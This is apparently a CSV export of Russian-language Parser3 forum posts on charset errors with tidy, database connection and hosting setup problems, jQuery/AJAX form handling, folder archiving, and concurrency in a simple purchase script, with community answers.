    $.any-status(true)\
    $.charset[utf-8]\
    $.headers[\
      $.Accept-Charset[utf-8]\
      $.Connection[close]\
    ]\
    $.timeout(100)\
  ]]\
\
  $result[$fFile.text]\
[/code]\
\
Код теста:\
[code]\
  $sData[^_getDataFromURL[http://www.parser.ru]]\
\
  ^use[labour/tainting/labourTidy.p]\
\
  $oTidy[^labourTidy::create[]]\
\
  $result[^oTidy.parse[XHTML;$sData]]\
[/code]\
\
Как я сказал, вызов tidy из Парсера я перекрыл и получил для себя строку, которую я закинул в консоль и запустил так.\
\
Данные сохраненные с 3.4.0b и переданные tidy обработались следующим образом, в еrror логе куча следующего:\
[code]\
UTF-8 decoding error of 1 bytes : 0xe8  = U+0008lx\
line 36 column 329 - Warning: replacing invalid UTF-8 bytes (char. code U+0008)\
UTF-8 decoding error of 1 bytes : 0xff  = U+0255lx\
line 36 column 330 - Warning: replacing invalid UTF-8 bytes (char. code U+00FF)\
UTF-8 decoding error of 1 bytes : 0xcb  = U+0011lx\
line 36 column 332 - Warning: replacing invalid UTF-8 bytes (char. code U+000B)\
UTF-8 decoding error of 1 bytes : 0xe5  = U+0005lx\
line 36 column 333 - Warning: replacing invalid UTF-8 bytes (char. code U+0005)\
UTF-8 decoding error of 1 bytes : 0xe1  = U+0001lx\
line 36 column 334 - Warning: replacing invalid UTF-8 bytes (char. code U+0001)\
UTF-8 decoding error of 1 bytes : 0xe5  = U+0005lx\
line 36 column 335 - Warning: replacing invalid UTF-8 bytes (char. code U+0005)\
UTF-8 decoding error of 1 bytes : 0xe4  = U+0004lx\
line 36 column 336 - Warning: replacing invalid UTF-8 bytes (char. code U+0004)\
UTF-8 decoding error of 1 bytes : 0xe5  = U+0005lx\
line 36 column 337 - Warning: replacing invalid UTF-8 bytes (char. code U+0005)\
UTF-8 decoding error of 1 bytes : 0xe2  = U+0002lx\
line 36 column 338 - Warning: replacing invalid UTF-8 bytes (char. code U+0002)\
UTF-8 decoding error of 1 bytes : 0xe0  = U+0000lx\
line 36 column 339 - Warning: replacing invalid UTF-8 bytes (char. code U+0000)\
....\
[/code]\
\
При использовании Parser 3.3.0 таких сообщений не было. Документ нормально обработался.\
\
Еще было замечено в консоле, что при обработке данных сохраненных с использованием 3.4.0b Парсера не показывались русские буквы после обработки tidy, вместо них показывались пробелы, в редакторе же это были квадраты неопределенных символов, внутри которых \"FFFD\":\
[code]\
              <blockquote>\
                <p><br />\
                Parser&#65533;3&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;-&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;, &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;.</p>\
\
                <ul>\
                  <li>&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533; 30% &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;!</li>\
\
                  <li>&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533; (&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;, &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;, &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;)</li>\
\
                  <li>&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;</li>\
\
                  <li>&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; XML, XSL, XPath &#65533; DOM</li>\
\
                  <li>&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;</li>\
\
                  <li>&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;</li>\
\
                  <li>&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;-&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;</li>\
\
                  <li>&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; &#65533;&#65533;&#65533;&#65533;&#65533; (160 &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;!)</li>\
\
                  <li>&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533; UTF-8</li>\
                </ul>\
              </blockquote>\
[/code]\
\
P.S. Как я понял дело в Parser'е или же может я должен добавить какую-то опцию при вызове exec. Странно с чем связано зависание выполнения file::exec?"
"70398","Я думал она должна срабатывать во время сохранения.\
\
P.S. Плюс еще вопрос почему две версии ведут себя поразному? На какую равняться?"
"70400","дальше даже разбираться смысла не вижу.\
\
[quot]\
На какую равняться?\
[/quot]\
\
очевидно, что не на бету :)"
"70401","Если в методе @_getDataFromURL[] указать:\
[code]\
$.charset[windows-1251]\
[/code]\
\
То проблемы не будет.\
\
Я неправильно понимал charset в данном случае. Как я понял если же charset вовсе не указан, то используется значение из настроек Парсера, в данном случае у меня было оно UTF-8.\
\
Ладно, вопрос закрыт. Хотя и остались непонятые мной мелочи."
"70402","что и как перекодировалось в данном случае (при некорректно указанном charset) и почему у tidy сносило крышу именно так я не знаю.\
\
то, что её должно было снести -- законно, т.к. там приходил полный бред из-за не корректного перекодирования."
"70403","А именно, когда не всегда пользователь может авторизоваться?"
"70404","надо убедиться, что у хостера не включено никакого кеширования и что выдаются корректные антикеширующие http заголовки."
"70405","Мне очень надо из под юниксовой машины на которой крутится сайт подключиться к нашей корпоративной БД к майкросовской БД MS SQL\
Не по локалхосту а по внутреннему IP\
Я перерыл весь форум http://www.parser.ru/forum/ н и понял что его нет.\
Нашел такой ваш пост http://www.parser.ru/forum/?id=7903\
Пост давний и быть может проблема решена. Я обратился к Александру (PAF) он сказал что все отдал Мише. Misha v.3 помогите пожалуйста в скрещении FreeBSD 7 + MS SQL.\
Или может быть такой вариант что в auto.p указать драйвер с другого виндового сервака?\
Что то типо того\
$SQL[\
    $.drivers[^table::create{protocol    driver    client\
mssql    \\\\192.168.xxx\\parser3odbc.dll   libmssqlclient.so\
]\
\
Буду признателен любому совету."
"70406","... для поддержки unixODBC необходимо написать новый драйвер, но Миша наверняка это делать не будет. :)"
"70407","проверю."
"70409","Чтобы понять возможность доработок.\
Спасибо"
"70410","Доброго времени суток, генерирую csv-файл, кодировка всего сайта utf-8, но перед сохранением таблицы в csv-файл пробовал ставить response и request charset windows-1251, но файл по-прежнему сохраняется в utf-8 и соответственно, в Excel видно кракозябры вида: Р›Р°РјРїС‹ РіР°Р»РѕРіРµРЅРЅС‹Рµ, вместо кириллических символов. Пробовал и через .htaccess на создаваемые файлы вешать правило: сохранять не в utf-8, не помогает. При сохранении в «Опциях формата файла» (http://www.parser.ru/docs/lang/?tableoptionsfmt.htm) нет возможности указать кодировку, в какой необходимо сохранить файл.\
\
Что я делаю не так?"
"70411","... экспорта в Эксель. И они прекрасно находятся поиском\
\
1. http://www.parser.ru/forum/?id=19954\
2. http://www.parser.ru/forum/?id=26141\
\
p.s. Очевидно, что не нужно ничего сохранять на диск, а можно просто выдать клиенту все через http, при этом можно спокойно задать response:charset... или не задавать - Эксель юникод понимает прекрасно."
"70412","Вполне можно быстро соорудить желаемое.  \
Выйдет не длиннее простенького mysql драйверочка. \
Под наработкой я подразумевал где-то разведанную другую либу. \
\
С текущим уровнем libodbc все проще. \
\
В личном письме к вам я немного напутал - Мише посылал нечто другое."
"70413","Последние 3 года в http://www.teligent.ru работаю,\
МТС и Мегафон (пока).\
Растем помаленьку. \
Кому охота в телеком, пишите?\
C++\
присылайте свой код, строчек 500-1000, что не жалко?\
C++"
"70414","[quote]C++[/quote]\
\
Кому он нужен!\
Предлагаю перевести телеком на Parser3!"
"70416","у меня проблема, после обновления mysql на сервере с версии 4.x до версии 5.x\
исчезло соединения с базой данных и вылетает ошибка, вот строчка из логов, не знаю чего сделать,\
админ хостинга говорит что нужно проверить соединение, я ничего не менял, потому чего проверять?\
\
строка из логов:\
\
'mysql://****@localhost/database' Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (2) [sql.connect]\
\
строка соединения с базой (все вроде правильно):\
\
$SQL.connect-string[mysql://пользователь:пароль@localhost/база_данных]\
\
если кто то знает как решить проблему, пожалуйста помогите!"
"70418","... и намекните, что выдает ее libmysqlclient.so, который стоит на сервере."
"70419","Я уже ему показывал эту ошибку, он сказал что якобы мне нужно проверить и настроить правильно соединение с БД. Про libmysqlclient.so обязательно скажу, может что то он сделает =) \
Спасибо за ответ. Я также подумал может у меня этот файл libmysqlclient.so (а он с 2006 года устарел например и мне его заменить на более новый) это не поможет?"
"70420","... тогда вы сразу обойдете множество проблем. Для этого достаточно спросить у админа путь или оставить ссылку на libmysqlclient.so в конфигурационном методе вообще без пути.\
\
p.s.  В следующий раз сразу сообщайте подробности про то как Вы используете билблиотеки, потому что это в корне меняет ситуацию."
"70421","P.S. Только если Вы знаете путь к сокету."
"70422","в конфигурационном методе (файле) путь указан так:\
\
[code]\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$sqldriversdir[/home/полный_путь_на_сервере/lib]\
\
$SQL[\
        $.drivers[^table::set{protocol  driver  client\
mysql   $sqldriversdir/libparser3mysql.so       libmysqlclient.so\
pgsql   $sqldriversdir/libparser3pgsql.so       libpq.so\
oracle  $sqldriversdir/libparser3oracle.so      /u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
]\
\
[/code]\
\
админ ничего вразумительного пока не сказал кроме одного \"mysql полностью работает\"\
сегодня попрошу у него пути к библиотекам на сервере\
\
p.s. Sumo спасибо огромное что помогаете =)"
"70423","вот что выдает браузер если запросить любую страницу сайта, может это поможет разобраться =(\
\
/файл.html: '/home/путь_к_конфигурационному_файлу/auto.p' parser is in safe mode: reading files of foreign group and user disabled [recompile parser with --disable-safe-mode configure option], actual filename '/home/путь_к_конфигурационному_файлу/auto.p', fuid(32061)!=euid(99) or fgid(32063)!=egid(99) [parser.runtime]"
"70427","Не могу установить Parser на Vertrigo. Файл .htaccess с необходимыми командами создал, parser установил через программу установки в Program Files, где создал папку, в файле httpd.conf параметр AllowOverride установил значение All. Также копирнул parser.exe в папку Apache/cgi-bin. При проверке появляется ошибка 500. Что я сделал не так, и что недоделал?"
"70429","столкнулся с такой же проблемой :)\
вы как-то решили её?"
"70430","есть такой код (страна--регион--город):\
\
<span id=\"ajax_country\">\
<select name=country onchange=\"go_region()\">\
	<option value='1'>1 \
	<option value='2'>2 \
	<option value='3'>3 \
</select>\
</span>\
\
<span id=\"ajax_region\">\
<select name=region onchange=\"go_city()\">\
	<option value='1'>1 \
	<option value='2'>2 \
	<option value='3'>3 \
</select>\
</span>\
\
<span id=\"ajax_city\">\
<select name=city>\
	<option value='1'>1 \
	<option value='2'>2 \
	<option value='3'>3 \
</select>\
</span>\
\
при смене страны -- ajax по результатам загружает селект с новыми данными по региону в document.getElementById('ajax_region').innerHTML\
 \
так вот JS не видит данные нового селекта при onchange=\"go_city()\"\
\
видит только данные старого селекта регионов\
\
как бы? что не так делаю?"
"70432","Если вы тащите код яваскриптом, потом яваскриптом его вставляете, и яваскрипт не видит нечто в результатах собственной работы, то, вероятно, яваскрипт вставляет что-то отличное от ваших ожиданий.\
\
И, наверное, следует закавычивать значение атрибута name."
"70433","http://www.parser.ru/faq/install/"
"70434","Проект: 3 связки по 2 сайта (сбор заявок, магазин, система администрирования, общая БД синхронизированная с прочими,\
сложная система рассылки сообщений).\
\
Технологии и ПО: хост: Linux (Fedora Core 8)/Plesk, Parser3, xHTML, CSS, JavaScript, Flash, XML/XSL, PHP, MySQL\
\
Задачи: поддержка (резервирование данных, поддержание хостинг-площадки в рабочем состоянии,\
по требованию - обновление ПО, исправление выявленных ошибок, электорнная почта компании, техническая поддержка\
персонала); развитие (работа над написанием новых и доработкой/модификацией готовых модулей и классов системы).\
\
Удаленная работа, почасовая оплата.\
\
Пишите предложения на parhom24@gmail.com"
"70435","Причем если это массовый хостинг, а не виртуальная машина,то это очень смелое решение - думаю у вас есть доступ ко всем файлами с паролями например к базе данных всех пользователей - сейчас процесс парсера запускается от системного пользователя (euid<1000)."
"70436","Ладно отбой, я установил денвер в сборке с парсером."
"70437","Установил денвер с парсером. На запрос http://parser_site/cgi-glob/parser3.cgi браузер выдает версию парсера. Ну значит, вроде все нормально. Но куда теперь кидать файлы html и как обращаться к ним через браузер? Объясните дураку, а то уже вторые сутки не могу найти с этой штукой общий язык. FAQ написан очень скупо"
"70438","и конкретно к настройке этого веб-сервера в денвере.\
\
обычно веб-сервер Apache, хранит документы в директориях типа:\
htdocs\
pub_html\
www\
и т.д.\
\
конкретней смотрите в вашем httpd.conf или конфигурационном файле виртуального хоста.\
\
Парсер тут совершенно не причем."
"70439","Использую я Апач - сборка денвер+парсер кто сталкивался. Тогда как обратиться к ним через браузер, что писать в адресной строке? Пробовал и так, и сяк, ниче не выходит. Когда работал с php, то все было просто: http://localhost/имя_сайта, и все файлы хранились в папке Z:/home/localhost/www Все просто и понятно. А этот парсер я потихоньку уже начинаю ненавидеть. Но мне его, заразу, нужно изучить! Может я задаю идиотские вопросы, но уж очень прошу, объясните для \"особо одаренных\"!"
"70440","В денвере сайты лежат точно также в Z:/home/\
папка Z:/home/localhost/www соответствует сайту http://localhost\
скопируйте папку localhost, например, в mysite и это будет сайт http://mysite"
"70441","Похожая проблема на хостинге.\
мыло spacioclub сабака gmail.com"
"70442","Как получить отсюда <input type=\"submit\" value=\"готово\" name=\"Это нада получить\" />\
name submit'a?\
Подскажите?"
"70443","http://www.parser.ru/examples/archive/\
Не получается скачать файлы класса, есть ли у кого-нибудь эти файлы?\
Выложите пожалуйста, например, на narod.ru"
"70444","В форме придёт соответствие «имя — значение».\
\
Но, если допустить, что значение чётко известно, то можно найти в хэше с полями ключ по значению."
"70445","Суть в том, что кнопок Submit более 5, но с одинаковыми value и разными name, не подскажите как именно получить name нажатого submit?"
"70446","Сейчас все в норме, нажал \"undelete\".\
Те архивы уже устарели, берите версию из SVN. Хотя мне вариант реализации вообще не нравится, я планировал это переписать в стиле PF и не использовать bat/sh файлы, а напрямую вызывать архиваторы, как это сделано в [ur=\"http://code.google.com/p/labour-system/source/browse/trunk/www/classes/labour/tainting/labourTidy.p\"]labourTidy[/url]."
"70447","При отправке формы submit всегда будет один, тот на который кликнули, или первый по порядку, если форму отправили нажатием Enter`а."
"70449","если не сложно - дайте небольшой комментарий к проекту :)\
какие планы на будущее и т.д. :)"
"70450","пришла почта не могу ее открыть."
"70451","Один input с подписью \"введите несколько букв и выберете из выпадающего списка\" -- гораздо юзабильнее.\
\
jquery autocomplete: [url=\"http://bassistance.de/jquery-plugins/jquery-plugin-autocomplete/\"]http://bassistance.de/jquery-plugins/jquery-plugin-autocomplete/[/url]\
\
запрос делаем к, скажем, /.../_getcity.html\
[code]$response:charset[utf-8]\
^if(def $form:q){\
	^db{\
		$r[^table::sql{select * from city where name like '$form:q%' and country_id = 3159 limit 0, 150}]\
	}\
	$response:charset[windows-1251]\
	^if(def $r){\
		^r.menu{\
			$r.name\
		}\
	}\
}[/code]"
"70452","Мой аккаунт: donbeave@gmail.com\
\
P.S. Правда вот на днях решил перейти на Java, многое что там понравилось, поэтому врядли особо буду продолжать Labour System на P3."
"70453","Площадка мастерхоста FreeBSD 6.2-RELEASE-p12 i386\
\
закачал в cgi-bin parser3.cgi (parser3_2_3_freebsd62R_cgi_xml) (в бинарном режиме) установил права 755 захожу по адресу /cgi-bin/parser3.cgi в надежде увидеть Parser/3.2.3 (compiled on xxx)\
\
но вижу стандартную 500 ошибку в лог файл ничего парсером не пишестся. В супорте сказали что они даже не представляют что такое parser3 bи скорее всего у них он работать не будет.\
\
Кто что может подсказать ?"
"70455","Подскажите, пожалуйста, можно ли средствами parser'a добавить в архив всю папку\
И как\
\
Спасибо"
"70457","Подробности в документации к конкретным архиваторам."
"70459","еслибы это работало, я бы сюда не писал"
"70461","#!/bin/sh\
tar -cvz files.tgz '$1'\
\
Напрямую tar запустить нельзя - во-первых, указать путь к нему не удобно, во-вторых, safe mode не позволит запустить.\
\
Так что делать shell скрипт (переносы строк unix, chmod +x),\
и запускать его."
"70463","В теории же должно работать на любой UNIX like системе.."
"70464","http://code.google.com/p/labour/source/browse/#svn/parser/classes/archive/trunk"
"70465","ошибка появляется сразу после добавления ^use[Archive.p]"
"70467","Unhandled Exception\
\
The server encountered an unhandled exception and was unable to complete your request.\
\
как узнать что именно за ошибка, к сожалению, не знаю"
"70468","не нажимая кномок сабмит...типа:\
Логин: |_____| проверить\
Пароль: и т.д.\
Только не в новом окне в этом же."
"70470","Что сделали вы, что не получилось?"
"70471","В том, то и дело, подталкните к истеному..\
вообщем есть идея только подгрузить при загрузке страницы регистрации логины уже зареганых юзеров и из этого списка уже плясать... тоесть при нажатии на кнопку \"проверить ник\" через яву из этого списка идет выбор и если есть совпадение, то \"думайте дальше себе ник\" иначе \"вы можете регать этот ник\"\
ну чтото в этом роде."
"70472","Ваша проблема больше касается ajax и javascript, чем парсера.\
Посмотрите примеры таких решений, например, для jQuery.\
\
Для парсера, что простой запрос, что пришедший через ajax - разницы кроме оформления результата нет.\
\
Т.е. просто правильно обработайте в JS ответ на запрос типа\
/login-check.html?is_login_exists=vasya"
"70473","<form name=\"myForm\" id=\"myForm\" action=\"\" method=\"post\" style=\"margin:20px\">\
	<label for=\"username\">Имя пользователя </label><br/>\
	<input type=\"text\" name=\"username\" value=\"\" /><br/>\
	<label for=\"password\">Пароль</label><br/>\
	<input type=\"password\" name=\"password\" value=\"\" /><br/><br/>\
	<label for=\"remember\">Запомнить меня:</label>\
	<input type=\"checkbox\" name=\"remember\" /><br/><br/>\
	<input type=\"submit\" name=\"\" value=\"Submit\" />\
</form>\
Подключаем jQuery и плагин в страницу:\
\
<script src=\"../lib/jquery.js\" type=\"text/javascript\"></script>\
<script src=\"../lib/jquery.delegate.js\" type=\"text/javascript\"></script>\
<script src=\"../jquery.validate.js\" type=\"text/javascript\"></script>\
\
Дальше код куда вписывать?\
[code]\
$().ready(function(){\
       $(\"#myForm\").validate({\
               rules : {\
                       username : {required : true, minlength: 2},\
                       password : \"required\"\
               },\
               messages : {\
                       username : {\
                               required : \"Введите ваше имя\",\
                               minlength : \"Введите не менее, чем 2 символа.\"\
                       },\
                       password : \"Введите пароль\"\
               }\
       });\
});\
[/code]"
"70474","посему в мануале плагина должен быть описан путь к серверному скрипту, который вам и надо самостоятельно написать на Парсере. На клиенте, скорее всего, ничего делать не надо.\
\
Причем этот скрипт должен будет выдавать ответ в строго определенном для jQ-плагина формате"
"70475","Вот есть форма:\
[code]<a href=\"login.php\" id=\"login_link\">Логин</a><br/>\
<div id=\"overlay\"></div>\
<div id=\"login_box\">\
	<a href=\"#\" id=\"close_btn\">Закрыть</a>\
	<div id=\"login_result\"></div>\
	<form method=\"post\" action=\"login.php\" id=\"login_form\">\
		<label for=\"username\">Логин:</label>\
		<input name=\"username\" type=\"text\" id=\"username\" value=\"\" maxlength=\"20\" /><br/>\
		<label for=\"password\">Пароль:</label>\
		<input name=\"password\" type=\"password\" id=\"password\" value=\"\" maxlength=\"20\" /><br/>\
		<input name=\"Submit\" type=\"submit\" id=\"submit\" value=\"Login\" /><br/>\
	</form>\
	<p style=\"text-align:center\">Логин: <b>admin</b>. Пароль <b>admin</b></p>\
</div>\
[/code]\
Есть код\
[code]\
<script type=\"text/javascript\">\
\
$(document).ready(function(){\
	$(\"#login_link\").click(function(e){\
		var overlay = $(\"#overlay\");\
		var w = $(window).width();\
		var h = $(window).height();\
		overlay.css('width', w);\
		overlay.css('height', h);\
		overlay.css('display','block');\
		\
		$(\"#login_result\").html('').removeClass();\
		$(\"#login_box\").css('display','block');\
		\
		e.preventDefault();\
	});\
	\
	$(\"#close_btn\").click(function(e){\
		$(\"#overlay\").css('display','none');\
		$(\"#login_box\").css('display','none');\
	});\
	\
	$(\"#login_form\").submit(function() {\
	        // указываем класс process для div-а сообщений и плавно показываем его\
	        $(\"#login_result\").removeClass().addClass('process').text('Проверка....').fadeIn(1000);\
	        // проверяем через AJAX имя пользователя пароль\
	        $.post($(\"#login_form\").attr('action'), { username:$('#username').val(),password:$('#password').val(),rand:Math.random() } ,function(data) {\
				if(data==1) {\
					// логин верный\
					$(\"#login_result\").fadeTo(200,0.1,function() {\
					$(this).html('Редирект.....').removeClass().addClass('success').fadeTo(900,1,\
						function() {\
							document.location='secure.php';\
						});\
					});\
				} else {\
					// логин неверный\
					$(\"#login_result\").fadeTo(200,0.1,function(){\
						$(this).html('Логин неверен ...').removeClass().addClass('error').fadeTo(900,1);\
					});\
				}\
			});\
			return false;// отмена отправки формы (действие по умолчанию)\
	});\
});\
</script>\
[/code]\
Вот файл login.php, я в пхп ниселен, как его нарсер перевести? Где тут конект к базе и прочее?\
[code]\
<?php\
sleep(1);\
\
if (isset($_POST['username']) && isset($_POST['password'])) {\
	if ($_POST['username'] == 'admin' && $_POST['password'] == 'admin')\
		echo 1;\
	else\
		echo 0;\
} else {\
	echo 0;\
}\
\
?>\
[/code]"
"70476","поторопился просто с постом первым"
"70477","Чтото с int и добле не особо выходить.\
Есть мысли какие нибудь?\
Можно и так, но как-то не по взрослому:\
[code]$Prise[$form:formprise]	^rem{получаем сумму}\
$Prise[^eval($Prise * 10)]^rem{допускаем одну цифру после запятой и убираем ее}\
$Prise[^ResPrise.int(0)]\
^if($Prise > 0){\
$Prise[^eval($Prise / 10)]^rem{возвращаем}	\
}\
[/code]"
"70478","[code]\
#заменяем возможную запятую на точку\
$sFormPrise[^form:formprise.match[,][]{.}]\
^if(^sFormPrise.double(0) > 0){\
#	$form:formprise является числом больше нуля\
#	и, возможно, имеет дробную часть\
}\
[/code]"
"70479","там нет ни коннекта к базе, ни прочего.\
Рекомендую вам еще почитать документацию, примеры, поделать уроки из документации. Ну и в целом по веб-программированию - http, html, js и т.д.\
\
Готовых решений вам писать никто не будет.\
\
почитайте:\
http://docs.jquery.com/Ajax\
\
вот элементарный пример из документации jquery:\
[code]$.ajax({\
	type: \"GET\",\
	url: \"test.js\",\
	dataType: \"script\"\
});\
[/code]\
\
Тут показан get-запрос к файлу test.js, который в ответ должен вернуть js-код.\
\
запрос вида\
[code]$.ajax({\
	type: \"GET\",\
	url: \"test.html?login=\"+$('#username').val()+\"&passwd=\"+$('#password').val()+\"&nocache=\"+Math.random(),\
	dataType: \"script\"\
});\
[/code]\
\
Передаст файлу test.html переменные $form:login и $form:passwd (а также $form:nocache которая нужна только для того, чтобы браузер не кешировал запрос).\
\
Обработайте их и верните в качестве результата js-код."
"70480","это просто условный пример, а не рабочий код, даже близко.\
\
Плагин jQuery передает этому файлу переменные $form:username и $form:password.\
\
Этот файл возвращает \"1\", если логин верен и 0, если логин неверен."
"70481","Допустим, продаем картошку\
Выводим список: \
[code]\
<table>\
<tr>\
<td>Лот\
<td>Вид картошки\
<td>Продавец\
<td>Объем\
<td>Сумма\
<td>Цена\
<td>bay\
</tr>\
\
<form method=\"post\" enctype=\"multipart/form-data\">\
^rem{menu}		^Market.menu{\
<tr>\
<td>$Market.id\
<td>$Market.vid\
<td>$User.id\
<td>$Market.amount\
<td>$Market.prise\
<td>^eval($Market.prise * $Market.amount)\
<td><input type=\"radio\" name=\"whobay\" value=\"$Market.id\"/>\
</tr>\
}\
</table>\
\
<input type=\"submit\" name=\"bay\" value=\"Купить картошку\"/>\
</form>\
[/code]\
Покупаем:\
[code]\
^if(def $form:bay){\
$NowBay[$form:tables.whobay]		^rem{что покупаем}\
^if($NowBay){\
$NowBay[$NowBay.field]\
		^MAIN:dbconnect{ \
		$Market[^table::sql{SELECT * FROM `market` WHERE `id` = '$NowBay}]\
		}\
^if($Market){\
		^MAIN:dbconnect{ \
		$UserMoney[^table::sql{SELECT `money`, `kartoha` FROM `user` WHERE `id_user` = '$User.id'}]\
		$EnemyResurs[^table::sql{SELECT `money` FROM `user` WHERE `id_user` = '$Market.id_user'}]\
		}\
\
$AllPrise[^eval($Market.prise * $Market.amount)] ^rem{получаем сумму}\
\
^if($UserResurs.money >= $AllPrise){ ^rem{проверка хватает ли денег у покупающего}\
$SubMoney[^eval($UserMoney.money - $AllPrise)]\
$AddResurs[^eval($UserMoney.kartoha + $Market.amount)]\
$AddMoneyEnemy[^eval($EnemyResurs.money + $AllPrise)]\
\
		^MAIN:dbconnect{ ^rem{удаляем строку из рынка}\
		^void:sql{DELETE FROM `market` WHERE `id` = '$NowBay'}\
		}\
^if($User.id != $Market.id_user){\
 		^MAIN:dbconnect{\
		^void:sql{UPDATE `user` SET `money` = '$AddMoneyEnemy' WHERE `id_user` = '$Market.id_user'}\
		^void:sql{UPDATE `user` SET `kartoha` = '$AddResurs', `money` = '$SubMoney' WHERE `id_user` = '$User.id'}		\
		}\
}{              ^rem{если покупаем сами у себя }\
		^MAIN:dbconnect{\
		^void:sql{UPDATE `user` SET `kartoha` = '$AddResurs' WHERE `id_user` = '$User.id'}		\
		}\
}\
\
$response:location[/market/]\
\
			}{У Вас не хватает денег <br> Необходимо $AllPrise}\
		}{Кто-то Вас опередил с покупкой}\
	}{Кота в мешке хотите купить? }\
}\
\
[/code]\
\
Вот так, а теперь вопрос, ктото еще в это же время захотел, купить картошку, вопрос как себя скрипт и база поведут в этом случае?\
Да и можно ли оптимизировать код?"
"70482","bay => buy\
prise => price\
resurs => resource\
kartoha => potato\
multipart/form-data тут нафиг не нужен\
<td> лучше закрывать\
$SubMoney[^eval($UserMoney.money - $AllPrise)] итд => $SubMoney($UserMoney.money - $AllPrise)\
^MAIN:dbconnect -- слишком их много, некоторые можно объединить\
`id` = '$NowBay => `id` = '$NowBay'\
\
P.S. по алгоритму я что-то порекомендовать не могу, т.к. с таким форматированием я код прочитать не смог"
"70484","спасибо. ошибки удалось устранить\
\
теперь ошибок не выдает, но архив не создается (даже с одним файлом)"
"70486",">как себя скрипт и база поведут в этом случае?\
\
Плохо поведут. Читать про транзакции в SQL.\
И ^MAIN:dbconnect оставить один, вокруг всего кода."
"70487","Посмотрите что получается.\
\
\
Кстати, а где находятся файлы скриптов? archive.bat/sh.\
\
Судя по тому, что я там намутил тогда, они должны по-умолчанию быть в /../data/scripts/\
\
В классе в методе @_add[] после 180 строки добавьте:\
[code]\
^result.stderr.save[/archive_error.log]\
[/code]\
\
После запуска можете глянуть что выдали архиваторы."
"70488","Я привел конкретный код, знаю как он работает, но не знаю как он будет работать при покупке двух пользователей одного лота в одно и тоже время, т.к. возможности проверить нету."
"70489","... но плохо поведут - это не ответ на конкретный вопрос. Это пинок пользователя из форума в яндекс на поиски учебника про транксации, неужели у Вас нет конкретного ответа?"
"70490","Вы не в состоянии даже внятно оформить то, что называете «кодом».\
А спрашиваете о тонкостях его работы.\
\
Задумываться о принципах работы нужно до написания, а не после.\
Уровень владения Парсером тут не при чём.\
\
Настоятельно советую ознакомиться с [url=\"http://www.parser.ru/faq/forum/\"]правилами писанины в форум[/url]."
"70491","путь к скриптам изменил на свой. \
если ставлю другой - ошибка.\
значит путь прописан верно\
\
по поводу лога:\
пишет undefined method"
"70492","между\
$Market[^table::sql{SELECT * FROM `market` WHERE `id` = '$NowBay}]\
и\
^void:sql{DELETE FROM `market` WHERE `id` = '$NowBay'}\
\
может вклиниться другой запрос. Если почитаете про тран_з_акции, будете сами видеть такие ситуации и понимать, что надо делать."
"70493","В мануале написано, что соединения с БД кэшируются, я это понимаю так, что за один сеанс Парсер установит не более одного соединения с одной и той же строкой подключения, да? \
Следовательно, решение - multi_statements + lock tables"
"70494","[quot]\
пишет undefined method\
[/quot]\
Это равносильно ничего вообще не написать."
"70495","это после добавления той строки, скрипт выдает такую ошибку\
\
лог не сохраняется"
